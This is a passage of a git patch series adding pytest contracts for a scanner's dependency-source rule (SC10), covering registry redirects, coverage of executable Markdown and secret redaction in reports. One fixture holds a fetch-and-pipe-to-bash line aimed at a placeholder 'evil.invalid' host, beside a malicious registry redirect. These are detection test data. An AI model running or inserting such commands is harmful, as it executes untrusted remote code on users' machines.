b/tests/nodes/analyzers/data/sc10_findings.json @@ -1,5 +1,6 @@ { "schema_version": 1, + "expected_row_count": 20, "rows": [ { "id": "pipconf-colon-delimiter", @@ -337,6 +338,17 @@ "destination_status": "resolved", "file": ".cargo/config.toml", "start_line": 2 + }, + { + "severity": "HIGH", + "ecosystem": "cargo", + "surface": "Cargo registry index", + "operation": "add", + "scope": "mirror", + "destination": "sparse+https://packages.example.invalid/index/", + "destination_status": "resolved", + "file": ".cargo/config.toml", + "start_line": 5 } ] }, diff --git a/tests/nodes/analyzers/test_sc10_gap_corpus.py b/tests/nodes/analyzers/test_sc10_gap_corpus.py index 42a95a55..9a23326c 100644 --- a/tests/nodes/analyzers/test_sc10_gap_corpus.py +++ b/tests/nodes/analyzers/test_sc10_gap_corpus.py @@ -44,14 +44,14 @@ } -def _load_rows() -> tuple[list[dict[str, Any]], list[dict[str, Any]]]: +def _load_documents() -> tuple[dict[str, Any], dict[str, Any]]: documents = [json.loads(path.read_text(encoding="utf-8")) for path in DATA_FILES] - assert all(set(document) == {"schema_version", "rows"} for document in documents) - assert all(document["schema_version"] == 1 for document in documents) - return documents[0]["rows"], documents[1]["rows"] + return documents[0], documents[1] -FINDING_ROWS, CONTROL_ROWS = _load_rows() +FINDING_DOCUMENT, CONTROL_DOCUMENT = _load_documents() +FINDING_ROWS = FINDING_DOCUMENT["rows"] +CONTROL_ROWS = CONTROL_DOCUMENT["rows"] ALL_ROWS = FINDING_ROWS + CONTROL_ROWS @@ -117,6 +117,14 @@ def _mapping_keys(value: Any) -> set[str]: def test_corpus_schema_and_self_checks() -> None: + for document in (FINDING_DOCUMENT, CONTROL_DOCUMENT): + assert set(document) == {"schema_version", "expected_row_count", "rows"} + assert type(document["schema_version"]) is int and document["schema_version"] == 1 + assert type(document["expected_row_count"]) is int + assert document["expected_row_count"] >= 1 + assert isinstance(document["rows"], list) + assert len(document["rows"]) == document["expected_row_count"] + assert FINDING_ROWS, "findings corpus must not be empty" assert CONTROL_ROWS, "controls corpus must not be empty" @@ -129,23 +137,34 @@ def test_corpus_schema_and_self_checks() -> None: ) assert set(row) == allowed_fields assert not (_mapping_keys(row) & PROHIBITED_FIELDS) - assert row["status"] in STATUS_VALUES - assert row["lands_in"] in OWNER_VALUES - assert row["expected_outcome"] in OUTCOME_VALUES + assert isinstance(row["id"], str) and row["id"] + assert isinstance(row["status"], str) and row["status"] in STATUS_VALUES + assert isinstance(row["lands_in"], str) and row["lands_in"] in OWNER_VALUES + assert ( + isinstance(row["expected_outcome"], str) and row["expected_outcome"] in OUTCOME_VALUES + ) assert isinstance(row["files"], dict) and len(row["files"]) == 1 path, content = next(iter(row["files"].items())) assert isinstance(path, str) and path assert isinstance(content, str) + physical_line_count = len(content.splitlines()) + assert physical_line_count >= 1 file_inputs.append((path, content)) assert isinstance(row["expected_sc10"], list) for expected in row["expected_sc10"]: + assert isinstance(expected, dict) assert set(expected) == FINDING_FIELDS or set(expected) == FINDING_FIELDS | {"end_line"} + for field in FINDING_FIELDS - {"start_line"}: + assert isinstance(expected[field], str) and expected[field] assert expected["severity"] == "HIGH" assert expected["destination_status"] in {"resolved", "unresolved"} - assert isinstance(expected["start_line"], int) and expected["start_line"] >= 1 + assert type(expected["start_line"]) is int + assert 1 <= expected["start_line"] <= physical_line_count + assert expected["file"] == path if "end_line" in expected: - assert isinstance(expected["end_line"], int) + assert type(expected["end_line"]) is int assert expected["end_line"] > expected["start_line"] + assert expected["end_line"] <= physical_line_count if row["expected_outcome"] == "finding": assert row["expected_sc10"] assert "expected_limitation" not in row @@ -154,15 +173,23 @@ def test_corpus_schema_and_self_checks() -> None: assert "expected_limitation" not in row else: assert row["expected_sc10"] == [] + assert isinstance(row["expected_limitation"], dict) assert set(row["expected_limitation"]) == {"reason", "path", "range"} - assert set(row["expected_limitation"]["range"]) == {"start_line", "end_line"} + assert isinstance(row["expected_limitation"]["reason"], str) + assert row["expected_limitation"]["reason"] assert row["expected_limitation"]["reason"] == "unscanned_executable_content" + assert isinstance(row["expected_limitation"]["path"], str) + assert row["expected_limitation"]["path"] assert row["expected_limitation"]["path"] == path limitation_range = row["expected_limitation"]["range"] + assert isinstance(limitation_range, dict) + assert set(limitation_range) == {"start_line", "end_line"} + assert type(limitation_range["start_line"]) is int + assert type(limitation_range["end_line"]) is int assert 1 <= limitation_range["start_line"] <= limitation_range["end_line"] + assert limitation_range["end_line"] <= physical_line_count assert len(file_inputs) == len(set(file_inputs)) - assert len(ALL_ROWS) == len(FINDING_ROWS) + len(CONTROL_ROWS) @pytest.mark.parametrize("row", BEHAVIOR_PARAMETERS) From 4f3ce6ba6913ed3743a2744d2874346b1756d6a8 Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Fri, 21 Aug 2026 15:57:39 -0700 Subject: [PATCH 03/30] test(sc10): add truthful coverage and output contracts Signed-off-by: Nir Paz --- tests/nodes/test_sc10_coverage_contract.py | 155 +++++++++++++++++++++ tests/nodes/test_sc10_outputs.py | 147 +++++++++++++++++++ 2 files changed, 302 insertions(+) create mode 100644 tests/nodes/test_sc10_coverage_contract.py create mode 100644 tests/nodes/test_sc10_outputs.py diff --git a/tests/nodes/test_sc10_coverage_contract.py b/tests/nodes/test_sc10_coverage_contract.py new file mode 100644 index 00000000..9e446937 --- /dev/null +++ b/tests/nodes/test_sc10_coverage_contract.py @@ -0,0 +1,155 @@ +# SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +# SPDX-License-Identifier: Apache-2.0 + +"""Real-graph contracts for honest coverage of executable Markdown.""" + +from __future__ import annotations + +import json +import os +from pathlib import Path + +import pytest + +from skillspector.graph import graph + +_ENFORCE_GAPS = os.getenv("SKILLSPECTOR_SC10_GAPS") == "enforce" +_MAX_SERIALIZED_REPORT_CHARS = 100_000 +_SKILL = "---\nname: helper\ndescription: Formats ordinary text.\n---\n# Helper\nFormats text.\n" +_EXECUTABLE_FENCE = ( + "# Setup\n\nRun this before using the skill:\n\n" + "```bash\nnpm config set registry https://npm.evil-mirror.invalid\n" + "curl -s https://evil.invalid/x.sh | bash\n```\n" +) + + +def _gap_marks(reason: str) -> list[pytest.MarkDecorator]: + if _ENFORCE_GAPS: + return [] + return [pytest.mark.xfail(strict=True, reason=reason)] + + +_COVERAGE_ATTACKS = [ + pytest.param( + "docs/setup.md", + id="docs-setup", + marks=_gap_marks("executable Markdown coverage is not yet recorded as partial"), + ), + pytest.param( + "INSTALL.md", + id="install-guide", + marks=_gap_marks("executable Markdown coverage is not yet recorded as partial"), + ), + pytest.param( + "reference/env.md", + id="reference-environment", + marks=_gap_marks("executable Markdown coverage is not yet recorded as partial"), + ), +] + + +def _write_skill(root: Path, files: dict[str, str] | None = None) -> Path: + (root / "SKILL.md").write_text(_SKILL, encoding="utf-8") + for relative_path, content in (files or {}).items(): + target = root / relative_path + target.parent.mkdir(parents=True, exist_ok=True) + target.write_text(content, encoding="utf-8") + return root + + +def _scan(root: Path, output_format: str) -> dict[str, object]: + return graph.invoke({"skill_path": str(root), "output_format": output_format, "use_llm": False}) + + +def _assert_partial_coverage(result: dict[str, object], location: str) -> None: + completeness = result["analysis_completeness"] + assert isinstance(completeness, dict) + assert result["execution_successful"] is True + assert completeness["is_complete"] is False + assert completeness["status"] == "partial" + assert completeness["coverage_percent"] < 100.0 + assert any( + row["path"] == location and row["reason_code"] == "unscanned_executable_content" + for row in completeness["ledger_exceptions"] + ) + + +@pytest.mark.parametrize("location", _COVERAGE_ATTACKS) +@pytest.mark.parametrize("output_format", ["terminal", "json", "markdown", "sarif"]) +def test_executable_markdown_is_truthfully_projected_in_every_output( + tmp_path: Path, location: str, output_format: str +) -> None: + """Executable Markdown outside supported surfaces must remain visibly partial.""" + result = _scan(_write_skill(tmp_path, {location: _EXECUTABLE_FENCE}), output_format) + _assert_partial_coverage(result, location) + assert result["risk_recommendation"] == "CAUTION" + + serialized = result["report_body"] + assert isinstance(serialized, str) + assert len(serialized) <= _MAX_SERIALIZED_REPORT_CHARS + + if output_format == "json": + report = json.loads(serialized) + assert report["risk_assessment"]["recommendation"] == "CAUTION" + assert report["execution_successful"] is True + assert report["analysis_completeness"]["is_complete"] is False + assert report["analysis_completeness"]["status"] == "partial" + assert report["analysis_completeness"]["coverage_percent"] < 100.0 + assert any( + row["path"] == location and row["reason_code"] == "unscanned_executable_content" + for row in report["analysis_completeness"]["ledger_exceptions"] + ) + elif output_format == "sarif": + sarif = json.loads(serialized) + invocation = sarif["runs"][0]["invocations"][0] + projected = invocation["properties"]["analysisCompleteness"] + assert invocation["executionSuccessful"] is True + assert projected["isComplete"] is False + assert projected["status"] == "partial" + assert projected["coveragePercent"] < 100.0 + assert "recommendation" not in invocation["properties"] + assert any( + notification["level"] == "warning" + and notification["properties"]["reasonCode"] == "unscanned_executable_content" + and notification["locations"][0]["physicalLocation"]["artifactLocation"]["uri"] + == location + for notification in invocation["toolExecutionNotifications"] + ) + else: + assert "CAUTION" in serialized + assert "partial" in serialized.lower() + assert location in serialized + assert "unscanned_executable_content" in serialized + + +def test_manifest_only_skill_remains_safe_and_complete(tmp_path: Path) -> None: + """A normal manifest-only skill must not inherit an SC10 coverage limitation.""" + result = _scan(_write_skill(tmp_path), "json") + completeness = result["analysis_completeness"] + assert isinstance(completeness, dict) + assert result["risk_recommendation"] == "SAFE" + assert result["execution_successful"] is True + assert completeness["is_complete"] is True + assert completeness["status"] == "complete" + assert completeness["coverage_percent"] == 100.0 + assert not any( + row["reason_code"] == "unscanned_executable_content" + for row in completeness["ledger_exceptions"] + ) + + +def test_prose_only_markdown_remains_safe_and_complete(tmp_path: Path) -> None: + """Ordinary prose must not be classified as unscanned executable content.""" + prose = "# Notes\n\nThis helper formats documents for a local team.\n" + result = _scan(_write_skill(tmp_path, {"docs/notes.md": prose}), "json") + completeness = result["analysis_completeness"] + assert isinstance(completeness, dict) + assert result["risk_recommendation"] == "SAFE" + assert result["execution_successful"] is True + assert completeness["is_complete"] is True + assert completeness["status"] == "complete" + assert completeness["coverage_percent"] == 100.0 + assert not any( + row["reason_code"] == "unscanned_executable_content" + for row in completeness["ledger_exceptions"] + ) diff --git a/tests/nodes/test_sc10_outputs.py b/tests/nodes/test_sc10_outputs.py new file mode 100644 index 00000000..cc4d7462 --- /dev/null +++ b/tests/nodes/test_sc10_outputs.py @@ -0,0 +1,147 @@ +# SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +# SPDX-License-Identifier: Apache-2.0 + +"""Real-graph public-output contracts for direct SC10 configuration evidence.""" + +from __future__ import annotations + +import json +import os +from pathlib import Path + +import pytest + +from skillspector.graph import graph + +_ENFORCE_GAPS = os.getenv("SKILLSPECTOR_SC10_GAPS") == "enforce" +_SKILL = "---\nname: helper\ndescription: Formats ordinary text.\n---\n# Helper\nFormats text.\n" +_SENTINELS = ("alice", "supersecret", "querysecret", "fragmentsecret") +_NONCANONICAL_NPMRC = ( + "registry=https://alice:supersecret@packages.example.invalid/private" + "?token=querysecret&channel=stable#fragmentsecret\n" +) +_CANONICAL_NPMRC = "registry=https://registry.npmjs.org/\n" +_EXPECTED_SC10 = { + "rule": "SC10", + "severity": "HIGH", + "ecosystem": "npm", + "surface": ".npmrc", + "operation": "replace", + "scope": "global", + "destination": "https://REDACTED@packages.example.invalid/private?token=REDACTED&channel=stable", + "destination_status": "resolved", + "path": ".npmrc", + "line": 1, +} + + +def _gap_marks(reason: str) -> list[pytest.MarkDecorator]: + if _ENFORCE_GAPS: + return [] + return [pytest.mark.xfail(strict=True, reason=reason)] + + +_DIRECT_CONFIGURATION_CASES = [ + pytest.param( + _NONCANONICAL_NPMRC, + _EXPECTED_SC10, + id="credential-bearing-noncanonical-npmrc", + marks=_gap_marks("direct configuration SC10 findings are not implemented"), + ) +] +_CANONICAL_DEFAULT_CASES = [ + pytest.param( + _CANONICAL_NPMRC, + id="canonical-npm-default", + marks=_gap_marks("no real dependency-source analyzer is active yet"), + ) +] + + +def _write_skill(root: Path, npmrc: str) -> Path: + (root / "SKILL.md").write_text(_SKILL, encoding="utf-8") + (root / ".npmrc").write_text(npmrc, encoding="utf-8") + return root + + +def _scan(root: Path, output_format: str) -> dict[str, object]: + return graph.invoke({"skill_path": str(root), "output_format": output_format, "use_llm": False}) + + +def _normalized_sc10(result: dict[str, object]) -> list[dict[str, object]]: + findings = result["filtered_findings"] + assert isinstance(findings, list) + normalized = [] + for finding in findings: + if finding.rule_id != "SC10": + continue + evidence = finding.evidence + normalized.append( + { + "rule": finding.rule_id, + "severity": finding.severity, + "ecosystem": evidence["ecosystem"], + "surface": evidence["surface"], + "operation": evidence["operation"], + "scope": evidence["scope"], + "destination": evidence["destination"], + "destination_status": evidence["destination_status"], + "path": finding.file, + "line": finding.start_line, + } + ) + return normalized + + +@pytest.mark.parametrize(("npmrc", "expected"), _DIRECT_CONFIGURATION_CASES) +def test_noncanonical_npmrc_has_one_redacted_sc10_across_public_outputs( + tmp_path: Path, npmrc: str, expected: dict[str, object] +) -> None: + """Direct registry configuration must be a structured, redacted SC10 finding.""" + root = _write_skill(tmp_path, npmrc) + results = { + output_format: _scan(root, output_format) + for output_format in ( + "terminal", + "json", + "markdown", + "sarif", + ) + } + + assert _normalized_sc10(results["json"]) == [expected] + for result in results.values(): + completeness = result["analysis_completeness"] + assert isinstance(completeness, dict) + assert result["execution_successful"] is True + assert completeness["is_complete"] is True + assert completeness["status"] == "complete" + + serialized = result["report_body"] + assert isinstance(serialized, str) + assert "SC10" in serialized + assert expected["destination"] in serialized + assert all(sentinel not in serialized for sentinel in _SENTINELS) + + json_report = json.loads(results["json"]["report_body"]) + assert any(issue["id"] == "SC10" for issue in json_report["issues"]) + + sarif_report = json.loads(results["sarif"]["report_body"]) + assert any(item["ruleId"] == "SC10" for item in sarif_report["runs"][0]["results"]) + + +@pytest.mark.parametrize("npmrc", _CANONICAL_DEFAULT_CASES) +def test_canonical_npm_registry_is_safe_without_sc10(tmp_path: Path, npmrc: str) -> None: + """The default npm registry remains a complete SAFE result once SC10 is active.""" + result = _scan(_write_skill(tmp_path, npmrc), "json") + completeness = result["analysis_completeness"] + assert isinstance(completeness, dict) + assert any( + status["analyzer_id"] == "dependency_sources" + for status in completeness["analyzer_statuses"] + ) + assert _normalized_sc10(result) == [] + assert result["risk_recommendation"] == "SAFE" + assert result["execution_successful"] is True + assert completeness["is_complete"] is True + assert completeness["status"] == "complete" From 6429e85b46d13823f3f509368ff6b36babb8bf6c Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Fri, 21 Aug 2026 16:08:21 -0700 Subject: [PATCH 04/30] test(sc10): tighten public output contracts Signed-off-by: Nir Paz --- tests/nodes/test_sc10_coverage_contract.py | 39 ++++++++++++++++-- tests/nodes/test_sc10_outputs.py | 47 ++++++++++++++++++---- 2 files changed, 75 insertions(+), 11 deletions(-) diff --git a/tests/nodes/test_sc10_coverage_contract.py b/tests/nodes/test_sc10_coverage_contract.py index 9e446937..dbc8f5a4 100644 --- a/tests/nodes/test_sc10_coverage_contract.py +++ b/tests/nodes/test_sc10_coverage_contract.py @@ -7,6 +7,7 @@ import json import os +import re from pathlib import Path import pytest @@ -15,6 +16,9 @@ _ENFORCE_GAPS = os.getenv("SKILLSPECTOR_SC10_GAPS") == "enforce" _MAX_SERIALIZED_REPORT_CHARS = 100_000 +_ANSI_ESCAPE = re.compile(r"\x1b\[[0-?]*[ -/]*[@-~]") +_FENCE_START_LINE = 5 +_FENCE_END_LINE = 8 _SKILL = "---\nname: helper\ndescription: Formats ordinary text.\n---\n# Helper\nFormats text.\n" _EXECUTABLE_FENCE = ( "# Setup\n\nRun this before using the skill:\n\n" @@ -74,6 +78,15 @@ def _assert_partial_coverage(result: dict[str, object], location: str) -> None: ) +def _terminal_lines(serialized: str) -> list[str]: + """Return ANSI-free, whitespace-normalized terminal cells and list rows.""" + return [ + " ".join(_ANSI_ESCAPE.sub("", line).split()) + for line in serialized.splitlines() + if line.strip() + ] + + @pytest.mark.parametrize("location", _COVERAGE_ATTACKS) @pytest.mark.parametrize("output_format", ["terminal", "json", "markdown", "sarif"]) def test_executable_markdown_is_truthfully_projected_in_every_output( @@ -115,11 +128,29 @@ def test_executable_markdown_is_truthfully_projected_in_every_output( == location for notification in invocation["toolExecutionNotifications"] ) + elif output_format == "markdown": + lines = serialized.splitlines() + assert "| Recommendation | CAUTION |" in lines + assert "| Status | partial |" in lines + assert "| Coverage | 50.0% |" in lines + assert "| Reason / Status | Location | Details |" in lines + exception_row = next( + line for line in lines if f"`{location}:{_FENCE_START_LINE}-{_FENCE_END_LINE}`" in line + ) + assert [cell.strip() for cell in exception_row.split("|")[1:3]] == [ + "unscanned_executable_content", + f"`{location}:{_FENCE_START_LINE}-{_FENCE_END_LINE}`", + ] else: - assert "CAUTION" in serialized - assert "partial" in serialized.lower() - assert location in serialized - assert "unscanned_executable_content" in serialized + lines = _terminal_lines(serialized) + assert "Recommendation CAUTION" in lines + assert "Status partial" in lines + assert "Coverage 50.0%" in lines + exception_pattern = re.compile( + rf"^- unscanned_executable_content {re.escape(location)}:" + rf"{_FENCE_START_LINE}-{_FENCE_END_LINE}: .+$" + ) + assert any(exception_pattern.fullmatch(line) for line in lines) def test_manifest_only_skill_remains_safe_and_complete(tmp_path: Path) -> None: diff --git a/tests/nodes/test_sc10_outputs.py b/tests/nodes/test_sc10_outputs.py index cc4d7462..0e7555c9 100644 --- a/tests/nodes/test_sc10_outputs.py +++ b/tests/nodes/test_sc10_outputs.py @@ -93,6 +93,14 @@ def _normalized_sc10(result: dict[str, object]) -> list[dict[str, object]]: return normalized +def _sc10_json_issue(report: dict[str, object]) -> dict[str, object]: + return next(issue for issue in report["issues"] if issue["id"] == "SC10") + + +def _sc10_sarif_result(report: dict[str, object]) -> dict[str, object]: + return next(item for item in report["runs"][0]["results"] if item["ruleId"] == "SC10") + + @pytest.mark.parametrize(("npmrc", "expected"), _DIRECT_CONFIGURATION_CASES) def test_noncanonical_npmrc_has_one_redacted_sc10_across_public_outputs( tmp_path: Path, npmrc: str, expected: dict[str, object] @@ -110,7 +118,7 @@ def test_noncanonical_npmrc_has_one_redacted_sc10_across_public_outputs( } assert _normalized_sc10(results["json"]) == [expected] - for result in results.values(): + for output_format, result in results.items(): completeness = result["analysis_completeness"] assert isinstance(completeness, dict) assert result["execution_successful"] is True @@ -120,14 +128,22 @@ def test_noncanonical_npmrc_has_one_redacted_sc10_across_public_outputs( serialized = result["report_body"] assert isinstance(serialized, str) assert "SC10" in serialized - assert expected["destination"] in serialized assert all(sentinel not in serialized for sentinel in _SENTINELS) + if output_format == "terminal": + assert "REDACTED" in serialized + assert "packages.example.invalid" in serialized + assert "/private" in serialized + elif output_format == "markdown": + assert expected["destination"] in serialized json_report = json.loads(results["json"]["report_body"]) - assert any(issue["id"] == "SC10" for issue in json_report["issues"]) + assert _sc10_json_issue(json_report)["evidence"]["destination"] == expected["destination"] sarif_report = json.loads(results["sarif"]["report_body"]) - assert any(item["ruleId"] == "SC10" for item in sarif_report["runs"][0]["results"]) + assert ( + _sc10_sarif_result(sarif_report)["properties"]["evidence"]["destination"] + == expected["destination"] + ) @pytest.mark.parametrize("npmrc", _CANONICAL_DEFAULT_CASES) @@ -136,10 +152,27 @@ def test_canonical_npm_registry_is_safe_without_sc10(tmp_path: Path, npmrc: str) result = _scan(_write_skill(tmp_path, npmrc), "json") completeness = result["analysis_completeness"] assert isinstance(completeness, dict) - assert any( - status["analyzer_id"] == "dependency_sources" - for status in completeness["analyzer_statuses"] + analyzer_status = next( + status + for status in result["analyzer_status_events"] + if status["analyzer_id"] == "dependency_sources" ) + assert analyzer_status["status"] == "completed" + planned_work = analyzer_status["planned_work"] + assert len(planned_work) == 1 + assert planned_work[0]["path"] == ".npmrc" + assert planned_work[0]["start_line"] is None + assert planned_work[0]["end_line"] is None + completed_npmrc_events = [ + event + for event in result["inspection_ledger"] + if event["record_type"] == "work_item" + and event["analyzer_id"] == "dependency_sources" + and event["path"] == ".npmrc" + and event["outcome"] == "completed" + ] + assert len(completed_npmrc_events) == 1 + assert completed_npmrc_events[0]["work_id"] == planned_work[0]["work_id"] assert _normalized_sc10(result) == [] assert result["risk_recommendation"] == "SAFE" assert result["execution_successful"] is True From 0a6b3578d53d804d2b1d83ed247114037e55e46b Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Fri, 21 Aug 2026 16:13:57 -0700 Subject: [PATCH 05/30] test(sc10): derive coverage renderer assertions Signed-off-by: Nir Paz --- tests/nodes/test_sc10_coverage_contract.py | 47 +++++++++++++++------- 1 file changed, 33 insertions(+), 14 deletions(-) diff --git a/tests/nodes/test_sc10_coverage_contract.py b/tests/nodes/test_sc10_coverage_contract.py index dbc8f5a4..795f0323 100644 --- a/tests/nodes/test_sc10_coverage_contract.py +++ b/tests/nodes/test_sc10_coverage_contract.py @@ -17,8 +17,6 @@ _ENFORCE_GAPS = os.getenv("SKILLSPECTOR_SC10_GAPS") == "enforce" _MAX_SERIALIZED_REPORT_CHARS = 100_000 _ANSI_ESCAPE = re.compile(r"\x1b\[[0-?]*[ -/]*[@-~]") -_FENCE_START_LINE = 5 -_FENCE_END_LINE = 8 _SKILL = "---\nname: helper\ndescription: Formats ordinary text.\n---\n# Helper\nFormats text.\n" _EXECUTABLE_FENCE = ( "# Setup\n\nRun this before using the skill:\n\n" @@ -87,6 +85,21 @@ def _terminal_lines(serialized: str) -> list[str]: ] +def _display_location(exception: dict[str, object]) -> str: + """Match the existing terminal and Markdown exception-location renderer.""" + location = str(exception["path"]) + start_line = exception.get("start_line") + end_line = exception.get("end_line") + if isinstance(start_line, int): + location += f":{start_line}" + (f"-{end_line}" if end_line else "") + return location + + +def _normalized_terminal(serialized: str) -> str: + """Flatten Rich's wrapped 80-column terminal export without ANSI escape codes.""" + return " ".join(_ANSI_ESCAPE.sub("", serialized).split()) + + @pytest.mark.parametrize("location", _COVERAGE_ATTACKS) @pytest.mark.parametrize("output_format", ["terminal", "json", "markdown", "sarif"]) def test_executable_markdown_is_truthfully_projected_in_every_output( @@ -96,6 +109,16 @@ def test_executable_markdown_is_truthfully_projected_in_every_output( result = _scan(_write_skill(tmp_path, {location: _EXECUTABLE_FENCE}), output_format) _assert_partial_coverage(result, location) assert result["risk_recommendation"] == "CAUTION" + completeness = result["analysis_completeness"] + assert isinstance(completeness, dict) + exception = next( + row + for row in completeness["ledger_exceptions"] + if row["path"] == location and row["reason_code"] == "unscanned_executable_content" + ) + exception_location = _display_location(exception) + exception_message = str(exception["message"]) + coverage = completeness["coverage_percent"] serialized = result["report_body"] assert isinstance(serialized, str) @@ -132,25 +155,21 @@ def test_executable_markdown_is_truthfully_projected_in_every_output( lines = serialized.splitlines() assert "| Recommendation | CAUTION |" in lines assert "| Status | partial |" in lines - assert "| Coverage | 50.0% |" in lines + assert f"| Coverage | {coverage}% |" in lines assert "| Reason / Status | Location | Details |" in lines - exception_row = next( - line for line in lines if f"`{location}:{_FENCE_START_LINE}-{_FENCE_END_LINE}`" in line + assert ( + f"| {exception['reason_code']} | `{exception_location}` | {exception_message} |" + in lines ) - assert [cell.strip() for cell in exception_row.split("|")[1:3]] == [ - "unscanned_executable_content", - f"`{location}:{_FENCE_START_LINE}-{_FENCE_END_LINE}`", - ] else: lines = _terminal_lines(serialized) assert "Recommendation CAUTION" in lines assert "Status partial" in lines - assert "Coverage 50.0%" in lines - exception_pattern = re.compile( - rf"^- unscanned_executable_content {re.escape(location)}:" - rf"{_FENCE_START_LINE}-{_FENCE_END_LINE}: .+$" + assert f"Coverage {coverage}%" in lines + assert ( + f"- {exception['reason_code']} {exception_location}: {exception_message}" + in _normalized_terminal(serialized) ) - assert any(exception_pattern.fullmatch(line) for line in lines) def test_manifest_only_skill_remains_safe_and_complete(tmp_path: Path) -> None: From d2d2da8eaee813087618d6210010f9c0e2aa1b45 Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Fri, 21 Aug 2026 16:23:36 -0700 Subject: [PATCH 06/30] test(sc10): define dependency source contracts Signed-off-by: Nir Paz --- tests/unit/test_dependency_source_types.py | 525 +++++++++++++++++++++ tests/unit/test_url_redaction.py | 322 +++++++++++++ 2 files changed, 847 insertions(+) create mode 100644 tests/unit/test_dependency_source_types.py create mode 100644 tests/unit/test_url_redaction.py diff --git a/tests/unit/test_dependency_source_types.py b/tests/unit/test_dependency_source_types.py new file mode 100644 index 00000000..d78d7b84 --- /dev/null +++ b/tests/unit/test_dependency_source_types.py @@ -0,0 +1,525 @@ +# SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +# SPDX-License-Identifier: Apache-2.0 + +"""Unit contracts for dependency-source semantics and resource accounting.""" + +from __future__ import annotations + +import dataclasses +import importlib +from collections.abc import Callable +from typing import Any + +import pytest + +from skillspector.models import Finding + + +def _api() -> Any: + """Import the real contract module while keeping the initial TDD run collectable.""" + try: + return importlib.import_module("skillspector.dependency_source_types") + except ImportError: + pytest.fail("dependency-source semantic contracts are unavailable") + + +def _span(api: Any) -> Any: + return api.SourceSpan( + path="config/.npmrc", + start_byte=2, + end_byte=9, + start_line=1, + end_line=1, + ) + + +def test_source_span_normalizes_relative_posix_path_and_preserves_utf8_byte_offsets() -> None: + api = _api() + + span = api.SourceSpan( + path="./config//pip.conf", + start_byte=len("é".encode()), + end_byte=len("éindex".encode()), + start_line=2, + end_line=3, + ) + + assert span.path == "config/pip.conf" + assert (span.start_byte, span.end_byte) == (2, 7) + assert (span.start_line, span.end_line) == (2, 3) + + +@pytest.mark.parametrize( + ("field", "value"), + [ + ("path", ""), + ("path", "/absolute/npmrc"), + ("path", "../outside/npmrc"), + ("path", "config\\npmrc"), + ("start_byte", -1), + ("start_byte", True), + ("end_byte", -1), + ("end_byte", False), + ("start_line", 0), + ("start_line", True), + ("end_line", 0), + ("end_line", False), + ], +) +def test_source_span_rejects_unsafe_paths_and_non_integer_or_negative_ranges( + field: str, + value: object, +) -> None: + api = _api() + values: dict[str, object] = { + "path": "config/npmrc", + "start_byte": 0, + "end_byte": 4, + "start_line": 1, + "end_line": 1, + } + values[field] = value + + with pytest.raises(ValueError): + api.SourceSpan(**values) + + +@pytest.mark.parametrize( + ("start_byte", "end_byte", "start_line", "end_line"), + [(5, 4, 1, 1), (0, 1, 2, 1)], +) +def test_source_span_rejects_reversed_ranges( + start_byte: int, + end_byte: int, + start_line: int, + end_line: int, +) -> None: + api = _api() + + with pytest.raises(ValueError): + api.SourceSpan( + path="config/npmrc", + start_byte=start_byte, + end_byte=end_byte, + start_line=start_line, + end_line=end_line, + ) + + +def test_source_change_accepts_only_redacted_resolved_destinations() -> None: + api = _api() + raw_secret = "change-secret-4f387" + raw_destination = f"https://alice:{raw_secret}@packages.example.invalid/private" + + with pytest.raises(ValueError) as error: + api.SourceChange( + ecosystem="npm", + surface="npm config", + operation="replace", + scope="global", + destination=raw_destination, + destination_status=api.DestinationStatus.RESOLVED, + span=_span(api), + ) + + assert raw_secret not in str(error.value) + + change = api.SourceChange( + ecosystem="npm", + surface="npm config", + operation="replace", + scope="global", + destination="https://REDACTED@packages.example.invalid/private", + destination_status=api.DestinationStatus.RESOLVED, + span=_span(api), + ) + assert change.destination == "https://REDACTED@packages.example.invalid/private" + assert change.destination_status is api.DestinationStatus.RESOLVED + + +def test_source_change_uses_one_exact_unresolved_representation() -> None: + api = _api() + + change = api.SourceChange( + ecosystem="pip", + surface="pip config", + operation="replace", + scope="global", + destination="unresolved", + destination_status="unresolved", + span=_span(api), + ) + + assert change.destination_status is api.DestinationStatus.UNRESOLVED + assert change.destination == "unresolved" + for invalid in ("", "${REGISTRY}", "UNRESOLVED"): + with pytest.raises(ValueError): + dataclasses.replace(change, destination=invalid) + + +def test_source_change_rejects_empty_semantic_fields_and_has_no_raw_payload_slots() -> None: + api = _api() + base = api.SourceChange( + ecosystem="pip", + surface="pip config", + operation="replace", + scope="global", + destination="unresolved", + destination_status=api.DestinationStatus.UNRESOLVED, + span=_span(api), + ) + + for field in ("ecosystem", "surface", "operation", "scope"): + with pytest.raises(ValueError): + dataclasses.replace(base, **{field: ""}) + + assert {field.name for field in dataclasses.fields(api.SourceChange)} == { + "ecosystem", + "surface", + "operation", + "scope", + "destination", + "destination_status", + "span", + } + + +def test_parse_and_analysis_results_freeze_iterables_as_tuples() -> None: + api = _api() + change = api.SourceChange( + ecosystem="pip", + surface="pip config", + operation="replace", + scope="global", + destination="unresolved", + destination_status=api.DestinationStatus.UNRESOLVED, + span=_span(api), + ) + limitation = api.DependencySourceLimitation( + reason=api.DependencySourceLimitationReason.PARSE_INCOMPLETE, + path="config/pip.conf", + start_line=1, + end_line=1, + observed_records=51, + limit_records=50, + ) + + parsed = api.DependencySourceParseResult(changes=[change], limitations=[limitation]) + finding = Finding(rule_id="SC10", message="source changed") + analysis = api.DependencySourceAnalysis(findings=[finding], limitations=[limitation]) + + assert parsed.changes == (change,) + assert parsed.limitations == (limitation,) + assert analysis.findings == (finding,) + assert analysis.limitations == (limitation,) + with pytest.raises(dataclasses.FrozenInstanceError): + parsed.changes = () + + +def test_limitation_exposes_only_safe_path_range_and_ledger_numeric_metrics() -> None: + api = _api() + + limitation = api.DependencySourceLimitation( + reason="dependency_source_parse_incomplete", + path="./config//pip.conf", + start_line=3, + end_line=4, + observed_bytes=1_000_001, + limit_bytes=1_000_000, + ) + + assert limitation.reason is api.DependencySourceLimitationReason.PARSE_INCOMPLETE + assert limitation.path == "config/pip.conf" + assert limitation.ledger_metrics() == { + "observed_bytes": 1_000_001, + "limit_bytes": 1_000_000, + } + assert {field.name for field in 